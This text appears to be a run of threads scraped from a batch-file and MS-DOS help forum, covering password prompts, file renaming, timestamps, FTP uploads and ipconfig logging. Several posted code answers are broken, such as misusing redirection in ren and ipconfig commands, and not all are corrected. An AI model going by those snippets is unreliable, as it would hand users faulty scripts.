The password# is the accounts password.
And the following number is its status.
For instance 0 is a non-MEMBER and 1 is a member.

Say the player entered their username and password (correctly), how would i get the batch file to lookup their status and set %acc1%membership= 0 or 1.

But if their password was incorrect compared to the text file then nothing would happen just a message.

Also would i just do this to output their account info?
ECHO %accname% %accpassword% %membership% >Players.txt

Thanks in advance, sorry if it is hard to understand.Code: [Select]@echo off
set /p acc=enter account number:
set /p pwd=enter password:
for /f "tokens=3 delims= " %%A in ('type example.txt ^| find %acc%') do (
if not %pwd%==%%B (
echo Wrong password!
pause
goto EOF
)
)
set /p mbr=are they a member 1 or 0?
findstr /v %acc% c:\users\public\test\example.txt >example1.txt
echo. %acc% %pwd% %mbr% >>example1.txt
del example.txt & ren example1.txt example.txt
pause
replace example.txt with whatever your text file is called.

FBthank you.
i take it that it works?

FBnot REALLY, but i've scraped the project now ANYWAY.

I'm glad you tried it...yeah., i had tried it.,., but every EXECUTION is failed.,., what others execution can harm the SYSTEM files?? TROUGH MS DOS??We are not going to help you RUIN someone's computer.sorry..,., i was just curious if, i'am a limited user and i will use the MS DOS.,., ?? can i harm the computer? this is still a big question to me>..,./.Quote from: r3ynz_t4nz on September 01, 2008, 11:45:05 PM

sorry..,., i was just curious if, i'am a limited user and i will use the MS DOS.,., ?? can i harm the computer? this is still a big question to me>..,./.

Hi All,

I WOULD like to amend and EXISTING batch program. The current batch program takes files from a laptop and uploads them to a server. I would like to add a parameter to the file that will create a unique name each time the files are loaded so that files are not overwritten with multiple uploads.

I am not very familiar with how to write this into the code and have spent sometime looking into a few options, one being adding a timestamp to the file as it is copied from the laptop to the server.

I am very beginner and hoping that just a line or two of code is needed to add the unique information to the files. I would be equally satisfied at this point with just an incremental increase i.e. file_1.txt, file_2.txt, etc.

If anyone has done this before or has any idea on how to do it, I would really appreciate your help.

Thank you!How are the files being copied with the current batch file?

You can GET timestamp values from the %DATE% and %time% variables. What format do you want the TIMESTAMPS in? YYYYMMDD would be (for the US English locale):
Code: [Select]%date:~-4%%date:~-10,2%%date:~-7,2%

how can i get the current time in 24H format, then add 1 minute to it..??

Ex:
current time is 5:45PM
5:45PM = 17:45 24H-Format
add 1 minute to 17:45 = 17:46

SET TIME1=17:46
USE this code and finish this yourself

Code: [Select]set tmptime=%time:~0,5%
set tmphou=%time:~0,2%
set tmpmin=%time:~3,2%
and what are you going to do at 23:59?
Quote from: Dias de verano on September 04, 2008, 10:42:25 AM

and what are you going to do at 23:59?

For some reason when I run this it just exits. Is it because the times I have aren't the current times?
If it is (or not) Do you know any way of having this running all the time?? I I had "goto begin" at the end Would that werk???:

Code: [Select]@echo off
:begin
goto LABEL%time%

:label12:00:00.00
start "C:\Documents and Settings\User\My Documents\lunch.bmp"
goto begin

:label06:00:00.00
start "C:\Documents and Settings\User\My Documents\605.bmp"
goto beginthanks!Quote

For some reason when I run this it just exits. Is it because the times I have aren't the current times?
If it is (or not) Do you know any way of having this running all the time?? I I had "goto begin" at the end Would that werk???:

Code: [Select]@echo off
:begin
goto label%time%

:label12:00:00.00
start "C:\Documents and Settings\User\My Documents\lunch.bmp"
goto begin

:label06:00:00.00
start "C:\Documents and Settings\User\My Documents\605.bmp"
goto beginthanks!

I just realised that too!!

:label12:00:00.00

Mr Google.........Why are you bringing back old topics?

I aint laughing.

How to get a batch file to SEND a .txt file to an ftp server?
I have an automatically created .txt file i WANT sent to an ftp server to be acessed from another computer.
How do i do this?see tihs website..

http://search.techrepublic.com.com/search/batch+file+and+ftp.html


heres a sample script to do what you want..

@echo off
SET a=%SystemDrive%\logon.txt
echo username>%a%
echo password>>%a%
echo cd public_html>>%a%
echo Binary>>%a%
echo send "C:\program files\image.jpg>>%a%
disconnect>>%a%
quit>>%a%
ftp -s:%a% ftp.yourserver.com
del /q/f %a% &CLS

on the first line, turn echo off
the second line set the text file into a variable "%a%"
the third line , append your username to a new file "%a%"
the fourth line, append your password
the fifth line, append change directory to public_html or any directory
the sixth line, append the transfer type .. to send photos/executables use 8 bit binary
There is also ascii mode witch is for text, if you send a text file in binary mode the line positions will be messed up , if you send a photo/executable in ascii mode they will be corrupt

the seventh line, send the file C:\program files\image.jpg , notice i added a quotation mark before the C:\ part ,its the same as adding QUOTATIONS AROUND the file path ,you need them to send a file with spaces in it, as shortnames dont work in ftp

the eighth line , append disconnect to a file
the nineth line , append quit ftp.exe to a file
the tenth line ftp -s: is for scripts , so type file variable there
last line , delete the script file and clear the screen

Can anyone assist me with the proper FORM , syntax for RUNNING hyper TERMINAL from a .bat file.Hyperterminal has no command line switches and exposes no activeX interface, both of which make it difficult to script.

Best I can suggest would be a VBScript using the sendkeys METHOD to push keystrokes into the various screens presented by hyperterminal.

This might help.

I am attempting to pull an IP address from a file and then use that IP address later in the script for different things such as tracert and ping etc.

I am pulling the IP from data.cfg by looking for Server.DB=

Code: [Select]type %filename%\data.cfg | find "SERVER.DB">>%LOG%

for /f "tokens=1,2 delims==" %%T in ('type %filename%\data.cfg ^| find "SERVER.DB"') do set string=%%U

Set IP=%string:~0,12%
SERVER.DB line can look like this
SERVER.DB=XX.XXX.XX.XX ; DB Files
OR
SERVER.DB=XXX.XX.XXX.XX

Now the above does technically work in most cases, but I have no idea what to do if the IP is longer then 12 Characters. (Probably 90% the IP will be 12 Char)



Irrespective of how many chars it has, an IP address (also known as a "dotted quad") is 4 tokens and the delims are periods/full stops/dots. Since you clearly understand how to use FOR, you know how to use this knowledge.

Nope can't SAY that my knowledge is that good. Still learning. Quote from: nothlit

SERVER.DB line can look like this
SERVER.DB=XX.XXX.XX.XX ; DB Files
OR
SERVER.DB=XXX.XX.XXX.XX

I'm not sure I follow what that code means...

Does that code create a percent of what is entered into %var%?

I assume that anyone using this generator will REALLY only want to use between 10 and 25 streets, I just wanted to put a limit on what gets entered so that a typo wont create an error or generate way too many streets.

I have a Blank Map of our CITY streets but its only on a standard 81/2 x 11 sheet of paper so to use too many streets on it will create too MUCH clutter.

Thx Devcom.

-Step432Quote

Does that code create a percent of what is entered into %var%?

really only want to use between 10 and 25 streets

I have created an Ip/Id identifier for computers, to quickly get ip information etc.
What i WANT to do is get the command ipconfig/all to be saved on a .txt file for LATER reading.
How do i this?

Here is what i have so far..
@echo off
echo Computer Name: %computername%>%computername%.txt
echo.>>%computername%.txt
echo.>>%computername%.txt
cls
echo User Name: %username%>>%computername%.txt
echo.>>%computername%.txt
echo.>>%computername%.txt
cls
echo Time: %time%>>%computername%.txt
echo.>>%computername%.txt
echo.>>%computername%.txt
cls
echo Date: %date%>>%computername%.txt
echo.>>%computername%.txt
echo.>>%computername%.txt
cls
IPCONFIG |FIND "IP" > %temp%\TEMPIP.txt
FOR /F "tokens=2 delims=:" %%a in (%temp%\TEMPIP.txt) do set IP=%%a
del %temp%\TEMPIP.txt
set IP=%IP:~1%
echo %IP% >%temp%\ip.txt
echo The current IP address is %IP%>>%computername%.txt
cls << About here i want to add the line for ipconfig/all and then have its information saved as a .txt file?
pause

I am currently able to get all the above info saved in a single text file so...
Any ANSWERS?ipconfig /all>>file.txt

this is CALLED appending to a file, a single > charachter will clear the file or create the file BLANK, redirecting the output of ipconfig /all to file.txt using a single > charachter will not work as there is multiple lines so use two >>
This should do what you are wanting.


@echo off
echo Computer Name: %computername%>%computername%.txt
echo.>>%computername%.txt
echo.>>%computername%.txt
cls
echo User Name: %username%>>%computername%.txt
echo.>>%computername%.txt
echo.>>%computername%.txt
cls
echo Time: %time%>>%computername%.txt
echo.>>%computername%.txt
echo.>>%computername%.txt
cls
echo Date: %date%>>%computername%.txt
echo.>>%computername%.txt
echo.>>%computername%.txt
cls
IPCONFIG |FIND "IP" > %temp%\TEMPIP.txt
FOR /F "tokens=2 delims=:" %%a in (%temp%\TEMPIP.txt) do set IP=%%a
del %temp%\TEMPIP.txt
set IP=%IP:~1%
echo %IP% >%temp%\ip.txt
echo The current IP address is %IP%>>%computername%.txt
ipconfig /all > %ip%>>%computername%.txt
cls
pause

Hi guys, I have an mp3 player and I'd LIKE to copy some files to my mp3 player. It is a normal mp3 player (not an iPod ) and it like an usb stick. The only problem is, in my computer I don't SEE a drive letter assigned to the player, but only a name (sansa bla bla mp3 player, it's a mp3 player from sandisk).
Which path should I use to copy my files to?What happens when you double click the name in My Computer?

It should be just like moving files in and out of a Flash Drive. Drag and Drop. Copy and Paste.Quote from: Carbon Dudeoxide on September 03, 2008, 04:37:26 AM

What happens when you double click the name in My Computer?

It should be just like moving files in and out of a Flash Drive. Drag and Drop. Copy and Paste.

the problem is your device is set to use MIP (multimedia interactive player) standard its set there by default, the new version of windows media player ,version 11 allows you to recognize MIP , but thats by default, look under the USB setting by default its Auto and set for MIP , there should be two or three MSC mode MIP mode and MTP mode play around with them till you see a drive letter

hi i only started using batch files yesterday and i have written a program, at first i had a very primitive password protection on it;

:logon
set input=
set /p input=Welcome to DIABLO please login:
if %input%==12345 GOTO user
if %input%==67890 goto admin
if %input%==asus goto bd
exit
pause

this only allowed me to have the user input a password.
i thought about having the username and password stored on a hidden .txt file or another hidden batch file,

also would it be possible if it was another batch file that had the user and pass on could it delete the program if the user has got the password wrong 3 times (so every time the password is wrong on the main batch it creates a hidden .txt with a value 1,2 or 3 depending on how many tries)
then the second batch reads the value, say 3 then it deletes the main batch or .exe when its converted.

so i was WONDERING if anybody could help me?

thanks josh
Here is something I just conjured up.

Code: [Select]@echo off
if EXIST "C:\lock.txt" (
goto :start
) else (
exit
)

:start
color f0
echo.
echo. Password
set /p password= :
if /i %password%==password goto :passcorrect
goto :second

:second
cls
echo.
echo. Password Second Try
set /p password= :
if /i %password%==password goto :passcorrect
goto :third

:third
cls
echo.
echo. Password Third Try
set /p password= :
if /i %password%==password goto :passcorrect
goto :incorrect

:incorrect
echo. >>"C:\lock.txt"
exit

:passcorrect
cls
echo.
echo. Welcome
echo.
pause
exit
May be a few bugs....not sure.

However, is that what you want?yes that is sort of wat i needed but i also wanted a username to be inputted aswell as a password if that is possible, i couldnt think of how to do it?

thanks @echo off
set pass=%1
set user=%2
IF "%pass%"=="password" (
goto two
) ELSE (
Goto END
)
:two
IF "%user%"=="username" (
goto second
) ELSE (
Goto end
)
:second
echo ok & pause>nul
:end
echo failed & pause>nul

yourbatfile.bat password username
or you could change the top to
set /p pass=Enter your password:
set /p user=Enter A Username:
i dont understand how diablo's way works?in the line syntax, at the beginning theres

set pass=%1
set user=%2

a batch file always knows what its NAME is %0 is its name, these are variables set inside a open batch file, %0 is the name of the batch file, in the syntax there is line positions
%0 %1 %2 %3 %4 %5 %6 %7 %8 %9 so for example if = %0 /? = %1

the next part with if statement, its the same thing as typing if %input%==asus goto bd only its set in an if array , an array is started with ( and ended with )
for example

::1 if "%user%"=="password" (

::2 if "%user%"=="password" (
goto second
) ELSE (
::3
if "%user%"=="password" (
goto second
::4::ELSE is another part of the if statement, example:
:: if "%var%"=="ok" goto good ELSE goto fail
) ELSE (

::5 if "%user%"=="password" (
goto second
) ELSE (
goto fail
)

I need HELP changing the file names of a bunch of FILES in my computer. I have files wherein the beginning of the file is DIFFERENT but the end is all of the same series. For example:

7201_Home_2008.txt ===> 7201_Home.txt
5562_Home_2008.txt ===> 5562_Home.txt
6678_Home_2008.txt ===> 6678_Home.txt
6679_Home_2008.txt ===> 6679_Home.txt

I want to remove the "_2008" on all of those files leaving the beginning of the filename and the extension name intact. Please help me...

Thank you and God Bless...


At the command prompt,

Code: [Select]for /f "tokens=1,2,3 delims=_" %f in ('dir /b *_2008.txt') do ren "%f_%g_%H" "%f_%g.txt"
In a BATCH, double up the percent signs so e.g. %f becomes %%f
Sorry, but it's not working. Do you have any more ideas?Couldn't test this because CMD isn't working for some ****** unknown reason but let me know if this is correct:

Code: [Select]@echo off
cd "H:\dos test"
cls
ren 7201_Home_2008.txt>>7201_Home.txt
ren 5562_Home_2008.txt>>5562_Home.txt
ren 6678_Home_2008.txt>>6678_Home.txt
ren 6679_Home_2008.txt>>6679_Home.txt
pause
exit
Do a search on "Bulk Rename Utility" - IIRC it's a freebie and does a fairly good job of batch processing for filenames.

Not perfect but - still very useful.Quote from: Mr. Google on September 01, 2008, 09:08:28 PM

Couldn't test this because CMD isn't working for some ****** unknown reason but let me know if this is correct:

Code: [Select]@echo off
cd "H:\dos test"
cls
ren 7201_Home_2008.txt>>7201_Home.txt
ren 5562_Home_2008.txt>>5562_Home.txt
ren 6678_Home_2008.txt>>6678_Home.txt
ren 6679_Home_2008.txt>>6679_Home.txt
pause
exit

One of my users is getting this MESSAGE:

missing corrupt file: winnt\system32\config\system

Here is my question -- we have encrypted machines but I need to fix him ASAP, he is out of the office until Friday, of course he NEEDS something off his computer today, is there a way (if he can get to a dos prompt) to fix this in DOS?

Running win2K

THANKS Do you have the Windows CD?

This for XP:
http://support.microsoft.com/kb/831260

This for Windows 2000:
http://www.microsoft.com/downloads/details.aspx?FamilyID=56d3c201-2c68-4de8-9229-ca494362419c&displaylang=enThanks Carbon!

Can you refresh my memory -- what is the dos code to copy files from the hard drive. I want him to be able to copy his data down from the hard drive before he runs the cd. Hold on a sec, What OS?
What you going to do with the CD?win2000I edited my post, you must not have seen it.

What you going to do with the CD?The cd with the data on it? put the data back when the machine is fixed.

The cd with the executable? run it.You cannot put stuff on a CD with stuff already on it.

Also, I don't think you can write a CD in DOS. yeah didn't think I COULD write to a cd in dos, but I was really hoping I was wrong. Thanks very much for the linkGood Luck!if you have a USB device you could probably write to that....

FBQuote from: fireballs on August 27, 2008, 10:54:31 AM

if you have a USB device you could probably write to that....

FB

Hi...
I can not ping to any IPs. Even i tried with a pc directly connecting to my pc, still not.
And, the PPOE connection too does not work but my dial up connection is working.
pleaseee support me.

So This?:
Code: [Select]@echo off
Choice /M "Do You Want To Run Mac Look-Alike Programs?"

If %errorlevel% EQU 2 goto no
If %errorlevel% EQU 1 goto yes


:yes
start "" "C:\Program Files\Mioplanet Battery Meter\Mioplanet Battery Meter.exe"
start "" "C:\Program Files\Pixoria\Konfabulator\YahooWidgets.exe"
start "" "C:\Program Files\Stardock\ObjectDock\ObjectDock.exe"
exit

:no
exit

That way it doesn't matter what order Code: [Select]If %errorlevel% EQU 2 goto no
and Code: [Select]If %errorlevel% EQU 1 goto yes are in?
You got it.

But I don't KNOW what the /M switch does in CHOICE.EXE. My version does not have it.

Quote from: Dias de verano on August 22, 2008, 10:30:27 AM

You got it.

But I don't know what the /M switch does in CHOICE.EXE. My version does not have it.

Ok, I want to make a .bat that runs Pinball. I have this...

pause
start /MAX C:\Documents and Settings\All Users\Start Menu\Programs\Games

But it says that it cant find the C:\Documents and Settings.....any ideas?Quote

Ok, I want to make a .bat that runs Pinball. I have this...

pause
start /MAX C:\Documents and Settings\All Users\Start Menu\Programs\Games

But it says that it cant find the C:\Documents and Settings.....any ideas?

in win xp at the command PROMPT I'm attempting to create a batch file that does this:

copy F:\Access Database\Premier Assets Management XP.mdb C:\Access Database\Premier Assets Management XP.mdb
(f: being the shared network drive and c: being the individual workstations)
the files and folders having the long filenames seem to be an issue. i tried substituting ?, _ , ~ in place of the spaces with no luck. helpCode: [Select]copy "F:\Access Database\Premier Assets Management XP.mdb" "C:\Access Database\Premier Assets Management XP.mdb"

Good luck. thanks, apparently i need itI am having the same problem and I have tried the PREVIOUS post's format with no luck. This is my command, below, (I'm running it from a dos batch file initiated at the windows explore window (right-click on Start, then Explore)). The response I get is "The system cannot find the file specified". This should be the correct path - I copied and pasted from the windows explore address box to be sure. I'm trying to copy files from a network drive to local.
I've been struggling with this for some time. If anyone can help me out with this I'd be so grateful.


G:
copy "G:\FORMS\ken\LMC Smart Design\*.*" "C:\LMC Smart Design\*.*"Quote from: lgbailey on February 13, 2008, 08:21:58 AM

copy "G:\FORMS\ken\LMC Smart Design\*.*" "C:\LMC Smart Design\*.*"

Hey all,

I'm wondering if there is a way to set INPUT parameters up in a batch script. Here's the general idea as output of the application:

Code: [Select]C:\USERS\***\Documents>interactiveConsoleApp
$>SOMETHING
doing something...
$>something else
doing something else...
$>quit
C:\Users\***\Documents>

What I want to do is create a batch script that would pass those parameters ("something" and "something else") into the application. Is this possible?
You mean you have a program that takes input parameters from the command line and you want to do it from a batch file?

Like this?
Quote

Breakfast.exe eggs cheese ham

Lunch.exe steak potatoes "apple pie"

Hi,
I use a DOS program which CONVERT a imege format. And I tried to create a bat file which need to call for instance xxx.exe -parameter . The parameters is the imege resolution and it is a part of the image name. If the image begin whit 1_ resolution is 80X60, 2_ resolution is 120x80 and so on. Here is what I try so fat(doesn't work):

For %%F in (*.*) do goto next
:next
IF %%F == 1_*.* xxx.exe %%F 60x80
IF %%F == 2_*.* xxx.exe %%F 120x80
......

I desperately need help. Thanks to any one who can help me..




You do not say what OS you are using. This should work in Windows 2000 and later. Notice ! instead of % for variables inside loop. Also notice line starting "setlocal".

To get M chars of variable starting at position N (1st position is 0)

%variable:~N,M% [or !variable:~N,M! inside a loop, if you have enabled delayed expansion as SHOWN below]

So...

if %string% is HELLO WORLD
then %string:~1,3% is ELL

Quote

@echo off
setlocal enabledelayedexpansion
for /f "delims==" %%F in ('dir /b') do (
set filename=%%F
if "!filename:~0,2!"=="1_" set res=60x80
if "!filename:~0,2!"=="2_" set res=120x80
REM and so on all for your resolutions...

REM now call the program
xxx.exe !filename! !res!

)

setlocal enabledelayedexpansion
FOR /f %%F (*.*) do (
set filename=%%F
echo !filename! | findstr "abc">nul && command

setlocal enabledelayedexpansion
FOR /f %%F (*.*) do (
set filename=%%F
echo !filename! | findstr "abc">nul && (
command1
command2
ETC
)
)

setlocal enabledelayedexpansion
FOR /f %%F (*.*) do (
set filename=%%F
echo !filename! | findstr "abc">nul || command

setlocal enabledelayedexpansion
FOR /f %%F (*.*) do (
set filename=%%F
echo !filename! | findstr "abc">nul || (
command1
command2
etc
)
)

setlocal enabledelayedexpansion
set trigger=abc
FOR /f %%F (*.*) do (
set filename=%%F
echo !filename! | findstr "%trigger%">nul && command

HI, i tried searching for answers but no luck. i noticed for about 4-5 months now EVERY time i OPEN a word DOCUMENT in MS word 2003 it takes a long time to come up! and at the bottom left it displays a text "running virus SCAN" is there a way to turn this off? i have only one anti-virus software installed "NOD32" but i had this anti virus software installed for more than two years now. i have another computer at HOME but don't have this situation. Than in advance.

BassGo into NOD32 settings and disable DMON (Document Monitor).


Thank you very much, it worked!Wicked!!! Glad to help.

so i was wondering if there was a way to open note pad and it will aready have
@echo off



is there a way
thx in advSo like when you open notepad from the start menu, it will already have @echo off already TYPED? lol, you must program batch files a lot to need this....
I don't think there is a way but it isn't really a hassle to have to type @echo off, is it?hmm
i wonder if changing the notepad itself is suitable?Quote

so i was wondering if there was a way to open note pad and it will aready have
@echo off



is there a way
thx in adv

the title says it allI don't get it...ADD what to where from where??? More details lollike how do u add 1 and 1 or 200 and 20oh lol, then you could use the set command like the following:

@echo off
set /a a=1+1
echo %a%
pause

I'm sure you can modify it so you can choose the NUMBERS to add. I've already got one but i'm going to let you figure out how to do it. If you want my code, message me thanks works perfectno prob, you can do quite a lot with the 'set /a' command.This works with the NEWER 'dos' command prompt, and if you have that, is the easiest.

If ever you are WORKING with MS-DOS, or even a command prompt on an older version of Windows, it will not work.

I thought you might like to know about another way. A free utility program. It does a LOT more than just simple math too. Very handy to have.

http://www.ferg.org/fdate


I hope that helps.





Yeah i got fdate, really cool.

Hi,
I wonder if anyone can help.
I have a very simple batch FILE that takes all .pdf files from a directory (the directory contains LOTS of different file types) and CREATES 'CORR.TXT', which contains just the pdf's:
DIR \\mydir\*.PDF /O:N /B > \\mydir\CORR.TXT
However, CORR.TXT contains the full file name eg. 1.pdf etc. What I need is to drop the .pdf extensions in CORR.TXT as I need to link the .txt file into MS Access.
Is this possible to do during the creation of the .txt file or can this be DONE after it has been created ?

Any help would be appreciated.i would suggest something of the following nature:

1) rename the files in the directory from xxx.pdf to just xxx (i.e. rename sans extensions)
2) run the .bat to copy the file names
3) rename the files again adding the extensions (xxx to xxx.pdf)

this isn't the prettiest or safest way to do it, but it's better than nothing. also, if you're dealing with a large number of files, it could get ugly...

good luck
-darryltry this? :
Code: [Select]for /F %%I in ('dir /B /A-D c:\yourdir\*.pdf') do (echo %%~nI)

Is it possible to put 'an '|' in COMMAND prompt.
For example:
QUOTE

@echo off
echo. |
pause

Hello, I was playing a game yestoday night. And when I was playing my computer frooze so I shut the computer down by the electric. And now when I try too start the computer it wont load. I got a blue botton I press when the computer gonna start that blue botton is blinking(it blinks like that when the computer is in sleep MODE) and the start botton for my screen goes orange (it goes orange when its in sleep mode too) and the screen is just BLACK..
I use Windows XP home editon.. Help please!
Oh I CLOSED all electric and then took it on again. the computer WORKS now. but the screen still goes orange.. what too do?? I find out something more. precisly when I start the screen it says "Entering saving mode" and then it TAKES 7sec and then its in saving mode.. dosnt work with a mouse click or keyboard click...help

Dear All !

Greetings !!

What is the text to speech program, how it BUILD up and in which language ?
How it works.

any LINK ..

Thanks n Regards,
Jay

Are you talking about the Speech program in the Control Panel? I THINK you can download language and voice packs off the web, but I haven't really used the thing before.

If not I think their are lots of programs on the web that do this, but you'd have to SPECIFY which ONE you're talking about.

The cmd.exe in my pc is not functioning. Every time I enter a valid dos prompt and press enter, the next line will show (name of the command) is not recognezed as an internal or external command, operable program or batch file. I cannot recall if anything has been changed before that.

Any suggestion of fixing it?

My OS is Win XP Professional.

HenryhauwQuote

The cmd.exe in my pc is not functioning. Every time I enter a valid dos prompt and press enter, the next line will show (name of the command) is not recognezed as an internal or external command, operable program or batch file. I cannot recall if anything has been changed before that.

Any suggestion of fixing it?

My OS is Win XP Professional.


Henryhauw

- - -

C:\Documents and Settings\Hauw.COMPUTER>path
PATH=Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem

- - -

C:\Documents and Settings\Hauw.COMPUTER>ipconfig
'ipconfig' is not recognized as an internal or external command,
operable program or batch file.

C:\Documents and Settings\Hauw.COMPUTER>ping 127.1.1.0
'ping' is not recognized as an internal or external command,
operable program or batch file.


Any clue?

If I want to rename a directory name that changes every week, how can I do that? I have tried just about every combination of masks and wildcards I can think of. It has got to be a lot easier than I am making it.

I need to rename a subdirectory that has the date (which changes) ie: 3-17-07 to a one word name like: show .

I can do: ren 3-17-07 show

But the subdirectory changes every week so I need some kind of a mask or wildcard to do it.

Thanks..Quote

If I want to rename a directory name that changes every week, how can I do that? I have tried just about every combination of masks and wildcards I can think of. It has got to be a lot easier than I am making it.

I need to rename a subdirectory that has the date (which changes) ie: 3-17-07 to a one word name like: show .

I can do: ren 3-17-07 show

But the subdirectory changes every week so I need some kind of a mask or wildcard to do it.

Thanks..

Thanks for the response. The problem with the ren and "?" filemask is that the composition of the date structure changes. It could be a single digit month or a double digit. Additionally, the ren command did not work for me.

I did find the "move" command. It works perfectly, although I had to run two of them in the batchfile to accomodate for the additional character in the date (like 12-07-07).

It works now.

I think your dating yourself, as I am. I miss my C:> prompt. It was so cold and impersonal.

* God Bless Bill Gates*

As for the DOS version, sorry. It is whatever comes with XP Home.
I tried it numerous times with the filemask variables. I could only do it when I specifically used the complete directory name.

Anyway, as you stated, it works. Could be the reason I was kicked out of my Pascal and Cobol classes. I am not, and do not ever want to be, a programmer. Quick and dirty is my theory.

I flunked one class project - it was some simple manipulation of database problem. It took me over 300 lines of code to do it. The answer was only 30 lines.

But mine worked too and it had color graphic responses. (I love the IF THEN ELSE statement.)

Thanks again.

Sorry Sir,

Another question

If I want to rename a file name to today's date

ex: ren show "today's date"

How can I use the command.

tks.

hey i have been told that you can find out the person you are speaking to/viewing cam/yahoo messanger/etc by doing something on DOS to figure whose your COMPUTER is connectted to. Is there any TRUTH to this?You can type netstat in command prompt and you would have to look for it...may i ASK why you need their IP address?where would you like to know that?
i SMELL something fishy

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No - not "pulling" anything. You wrote that you copied it, and I read what you wrote. It seems that I did understand it correctly too.

That wasted a lot of TIME and posts.

Ok - if you've got the Command Line entry so that it points to the batch file that launches your game, and you've got the WORKING entry so that it points to the directory where your game resides, then that is what you need to do.
That's all I've been trying to ascertain. If it won't run now, then you need to examine everything closely, looking for the error.

Perhaps 2K_dummy has been following along and will have some advice.

Quote

How can I use MSDOS to sort a file unique ?